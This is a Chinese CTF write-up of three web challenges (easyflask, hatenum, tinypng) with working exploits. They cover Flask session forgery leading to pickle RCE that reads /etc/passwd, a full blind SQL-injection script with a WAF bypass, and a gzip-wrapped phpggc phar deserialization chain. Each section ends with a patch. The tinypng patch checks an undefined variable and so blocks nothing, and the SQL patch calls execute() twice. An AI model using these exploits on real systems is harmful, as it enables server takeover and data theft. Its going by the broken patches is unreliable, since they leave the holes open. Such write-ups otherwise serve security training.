2021虎符CTF 线下赛 Web Write Up
本文首发于安全客:https://www.anquanke.com/post/id/239993
# easyflask
从/proc/self/environ
获取环境变量发现里面有secret_key
可以拿这个secret_key
伪造session,从而触发源码中的pickle反序列化实现RCE
Exp
import base64
import pickle
from flask.sessions import SecureCookieSessionInterface
import re
import pickletools
import requests
url = "http://dadc77b3-9752-430c-88f7-30055e8b9f2a.node3.buuoj.cn"
#url = "http://127.0.0.1:80"
def get_secret_key():
target = url + "/file?file=/proc/self/environ"
r = requests.get(target)
#print(r.text)
key = re.findall('key=(.*?)OLDPWD',r.text)
return str(key[0])
secret_key = get_secret_key()
#secret_key = "glzjin22948575858jfjfjufirijidjitg3uiiuuh"
print(secret_key)
class FakeApp:
secret_key = secret_key
class User(object):
def __reduce__(self):
import os
cmd = "cat /etc/passwd > /tmp/eki"
return (os.system,(cmd,))
exp = {
"b":base64.b64encode(pickle.dumps(User()))
}
#pickletools.dis(pickle.dumps(User()))
#print(pickletools.dis(b'\x80\x03cprogram_main_app@@@\nUser\nq\x00)\x81q\x01.'))
fake_app = FakeApp()
session_interface = SecureCookieSessionInterface()
serializer = session_interface.get_signing_serializer(fake_app)
cookie = serializer.dumps(
#{'u': b'\x80\x03cprogram_main_app@@@\nUser\nq\x01)\x81q\x01.'}
#{'u':b'\x80\x04\x95\x15\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04User\x94\x93\x94.'}
{'u':exp}
)
print(cookie)
headers = {
"Accept":"*/*",
"Cookie":"session={0}".format(cookie)
}
req = requests.get(url+"/admin",headers=headers)
#print(req.text)
req = requests.get(url+"/file?file=/tmp/eki",headers=headers)
print(req.text)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
# 修复思路
把任意文件读修复就行,赛方的exp应该是每次手动拿secret_key,但是线下的时候以为这个点是正常业务,一直没修成功,心态崩了。
#!/usr/bin/python3.6
import os
import pickle
from base64 import b64decode
from flask import Flask, request, render_template, session
app = Flask(__name__)
app.config["SECRET_KEY"] = 'you_find_secret_k3y_c0ngratulations'
User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
})
@app.route('/', methods=('GET',))
def index_handler():
if not session.get('u'):
u = pickle.dumps(User())
session['u'] = u
return render_template('index.html')
@app.route('/file', methods=('GET',))
def file_handler():
path = request.args.get('file')
if path.startswith("/"):
return 'disallowed'
path = os.path.join('static', path)
if not os.path.exists(path) or os.path.isdir(path) \
or '.py' in path or '.sh' in path or '..' in path or "flag" in path or "proc" in path:
return 'disallowed'
with open(path, 'r') as fp:
content = fp.read()
return content
@app.route('/admin', methods=('GET',))
def admin_handler():
try:
u = session.get('u')
if isinstance(u, dict):
u = b64decode(u.get('b'))
if "R" in u:
return 'uhh?'
u = pickle.loads(u)
except Exception:
return 'uhh?'
if u.is_admin == 1:
return 'welcome, admin'
else:
return 'who are you?'
if __name__ == '__main__':
app.run('0.0.0.0', port=80, debug=True)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
# hatenum (BUUOJ 复现)
<?php
error_reporting(0);
session_start();
class User{
public $host = "localhost";
public $user = "root";
public $pass = "123456";
public $database = "ctf";
public $conn;
function __construct(){
$this->conn = new mysqli($this->host,$this->user,$this->pass,$this->database);
if(mysqli_connect_errno()){
die('connect error');
}
}
function find($username){
$res = $this->conn->query("select * from users where username='$username'");
if($res->num_rows>0){
return True;
}
else{
return False;
}
}
function register($username,$password,$code){
if($this->conn->query("insert into users (username,password,code) values ('$username','$password','$code')")){
return True;
}
else{
return False;
}
}
function login($username,$password,$code){
$res = $this->conn->query("select * from users where username='$username' and password='$password'");
if($this->conn->error){
return 'error';
}
else{
$content = $res->fetch_array();
if($content['code']===$_POST['code']){
$_SESSION['username'] = $content['username'];
return 'success';
}
else{
return 'fail';
}
}
}
}
function sql_waf($str){
if(preg_match('/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i', $str)){
die('Hack detected');
}
}
function num_waf($str){
if(preg_match('/\d{9}|0x[0-9a-f]{9}/i',$str)){
die('Huge num detected');
}
}
function array_waf($arr){
foreach ($arr as $key => $value) {
if(is_array($value)){
array_waf($value);
}
else{
sql_waf($value);
num_waf($value);
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
ban了'
但是可以通过前后参数联合逃逸
同时可以利用mysql的exp溢出进行盲注
url = "http://fa57e15a-3cf4-449b-832a-120cca2c6884.node3.buuoj.cn"
data = {
"username":"eki\\",
"password":"||1&&exp(710)#",
"code":"1"
}
req = r.post(url+"/login.php",data=data,allow_redirects=False)
print(req.text)
#error
#exp(709) login fail
url = "http://fa57e15a-3cf4-449b-832a-120cca2c6884.node3.buuoj.cn"
data = {
"username":"eki\\",
"password":"||1&&exp(710)#",
"code":"1"
}
req = r.post(url+"/login.php",data=data,allow_redirects=False)
print(req.text)
#error
#exp(709) login fail
import requests as r
import string
url = "http://fa57e15a-3cf4-449b-832a-120cca2c6884.node3.buuoj.cn"
pt = string.ascii_letters+string.digits+"$"
#/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i
#select * from users where username='$username' and password='$password'
def str2hex(raw):
ret = '0x'
for i in raw:
ret += hex(ord(i))[2:].rjust(2,'0')
return ret
ans = ""
tmp = "^"
for i in range(24):
for ch in pt:
#payload = f"||1 && username rlike 0x61646d && exp(710-(23-length(code)))#".replace(' ',chr(0x0c))
payload = f"||1 && username rlike 0x61646d && exp(710-(code rlike binary {str2hex(tmp+ch)}))#"
#print(payload)
payload = payload.replace(' ',chr(0x0c))
data = {
"username":"eki\\",
"password":payload,
"code":"1"
}
req = r.post(url+"/login.php",data=data,allow_redirects=False)
if 'fail' in req.text:
ans += ch
print(tmp+ch,ans)
if len(tmp) == 3:
tmp = tmp[1:]+ch
else:
tmp += ch
break
'''
^e e
^er er
^erg erg
ergh ergh
rghr erghr
ghru erghru
hrui erghrui
ruig erghruig
uigh erghruigh
igh2 erghruigh2
gh2u erghruigh2u
h2uy erghruigh2uy
2uyg erghruigh2uyg
uygh erghruigh2uygh
ygh2 erghruigh2uygh2
gh2u erghruigh2uygh2u
h2uy erghruigh2uygh2uy
2uyg erghruigh2uygh2uyg
uygh erghruigh2uygh2uygh
'''
rev_ans = ""
tmp = "$"
for i in range(24):
for ch in pt:
#payload = f"||1 && username rlike 0x61646d && exp(710-(23-length(code)))#".replace(' ',chr(0x0c))
payload = f"||1 && username rlike 0x61646d && exp(710-(code rlike binary {str2hex(ch+tmp)}))#"
#print(payload)
payload = payload.replace(' ',chr(0x0c))
data = {
"username":"eki\\",
"password":payload,
"code":"1"
}
req = r.post(url+"/login.php",data=data,allow_redirects=False)
if 'fail' in req.text:
rev_ans = ch+rev_ans
print(ch+tmp,rev_ans)
if len(tmp) == 3:
tmp = ch+tmp[:-1]
else:
tmp = ch+tmp
break
'''
g$ g
ig$ ig
2ig$ 2ig
32ig 32ig
u32i u32ig
iu32 iu32ig
uiu3 uiu32ig
3uiu 3uiu32ig
23ui 23uiu32ig
h23u h23uiu32ig
gh23 gh23uiu32ig
igh2 igh23uiu32ig
uigh uigh23uiu32ig
ruig ruigh23uiu32ig
hrui hruigh23uiu32ig
ghru ghruigh23uiu32ig
rghr rghruigh23uiu32ig
ergh erghruigh23uiu32ig
'''
data = {
"username":"admin\\",
"password":"||1#",
"code":"erghruigh2uygh23uiu32ig"
}
req = r.post(url+"/login.php",data=data)
print(req.text)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
因为没找到绕过拼接字符串的方法,题目中又对hex长度进行了限制,所以每三位推一位,最开始三位通过^
和$
的方式来匹配。
正着倒着结合一下就能拿到23位的codeerghruigh2uygh23uiu32ig
# 修复思路
直接把sql全换成预处理形式防止注入
<?php
error_reporting(0);
session_start();
class User{
public $host = "localhost";
public $user = "root";
public $pass = "123456";
public $database = "ctf";
public $conn;
function __construct(){
$this->conn = new mysqli($this->host,$this->user,$this->pass,$this->database);
if(mysqli_connect_errno()){
die('connect error');
}
}
function find($username){
$res = $this->conn->prepare("select * from users where username=?");
$res->bind_param("s", $username);
$res->execute();
#$res = $this->conn->query();
#$res->bind_result($district);
$res->fetch();
if($res->num_rows>0){
return True;
}
else{
return False;
}
}
function register($username,$password,$code){
$res = $this->conn->prepare("insert into users (username,password,code) values (?,?,?)");
$res->bind_param("sss", $username,$password,$code);
$res->execute();
#$res = $this->conn->query();
#$res->bind_result($district);
if($res->execute()){
$res->fetch();
return True;
}
else{
return False;
}
}
function login($username,$password,$code){
$res = $this->conn->prepare("select code from users where username=? and password=?");
$res->bind_param("ss", $username,$password);
$res->bind_result($code2);
$res->execute();
$res->fetch();
#$res = $this->conn->query("select * from users where username='$username' and password='$password'");
if($this->conn->error){
return 'error';
}
else{
#$content = $res->fetch_array();
#var_dump($code2);
if($code2===$_POST['code']){
$_SESSION['username'] = $username;
return 'success';
}
else{
return 'fail';
}
}
}
}
function sql_waf($str){
if(preg_match('/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i', $str)){
die('Hack detected');
}
}
function num_waf($str){
if(preg_match('/\d{9}|0x[0-9a-f]{9}/i',$str)){
die('Huge num detected');
}
}
function array_waf($arr){
foreach ($arr as $key => $value) {
if(is_array($value)){
array_waf($value);
}
else{
sql_waf($value);
num_waf($value);
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
# tinypng (BUUOJ 复现)
是一个laravel框架的题
那么首先关注路由和控制器
<?php
use Illuminate\Support\Facades\Route;
/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/
use App\Http\Controllers\IndexController;
use App\Http\Controllers\ImageController;
Route::get('/', function () {
return view('upload');
});
Route::post('/', [IndexController::class, 'fileUpload'])->name('file.upload.post');
//Don't expose the /image to others!
Route::get('/image', [ImageController::class, 'handle'])->name('image.handle');
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
这俩路由分别指向IndexController
和ImageController
fileupload
能上传,文件名文件类型不可控
class IndexController extends Controller
{
public function fileUpload(Request $req)
{
$allowed_extension = "png";
$extension = $req->file('file')->clientExtension();
if($extension === $allowed_extension && $req->file('file')->getSize() < 204800)
{
$content = $req->file('file')->get();
if (preg_match("/<\?|php|HALT\_COMPILER/i", $content )){
$error = 'Don\'t do that, please';
return back()
->withErrors($error);
}else {
$fileName = \md5(time()) . '.png';
$path = $req->file('file')->storePubliclyAs('uploads', $fileName);
echo "path: $path";
return back()
->with('success', 'File has been uploaded.')
->with('file', $path);
}
} else{
$error = 'Don\'t do that, please';
return back()
->withErrors($error);
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
image对文件调用了imgcompress
class ImageController extends Controller
{
public function handle(Request $request)
{
$source = $request->input('image');
if(empty($source)){
return view('image');
}
$temp = explode(".", $source);
$extension = end($temp);
if ($extension !== 'png') {
$error = 'Don\'t do that, pvlease';
return back()
->withErrors($error);
} else {
$image_name = md5(time()) . '.png';
$dst_img = '/var/www/html/' . $image_name;
$percent = 1;
(new imgcompress($source, $percent))->compressImg($dst_img);
return back()->with('image_name', $image_name);
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
跟进可以发现调用了
/**
* 内部:打开图片
*/
private function _openImage()
{
list($width, $height, $type, $attr) = getimagesize($this->src);
$this->imageinfo = array(
'width' => $width,
'height' => $height,
'type' => image_type_to_extension($type, false),
'attr' => $attr
);
$fun = "imagecreatefrom" . $this->imageinfo['type'];
$this->image = $fun($this->src);
$this->_thumpImage();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
那么很明显利用的思路就是上传一个phar文件通过getimagesize()
触发phar反序列化了
但是要绕过之前的
if (preg_match("/<\?|php|HALT\_COMPILER/i", $content )){
$error = 'Don\'t do that, please';
return back()
}
1
2
3
4
2
3
4
这里用gzip
或者bzip2
压缩的方式就可以绕过检测
链子直接phpggc一把梭
phpggc Laravel/RCE6 "phpinfo();" --phar phar > test3.phar
gzip test3.phar
mv test3.phar test3.png
1
2
3
2
3
# 修复思路
phar反序列化需要用到phar协议,那么在image路由处把phar协议ban了就行
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class ImageController extends Controller
{
public function handle(Request $request)
{
$source = $request->input('image');
if(preg_match('/phar/i', $str)){
die('Hack detected');
}
if(empty($source)){
return view('image');
}
$temp = explode(".", $source);
$extension = end($temp);
if ($extension !== 'png') {
$error = 'Don\'t do that, pvlease';
return back()
->withErrors($error);
} else {
$image_name = md5(time()) . '.png';
$dst_img = '/var/www/html/' . $image_name;
$percent = 1;
(new imgcompress($source, $percent))->compressImg($dst_img);
return back()->with('image_name', $image_name);
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
编辑 (opens new window)
上次更新: 2022/05/18, 16:49:51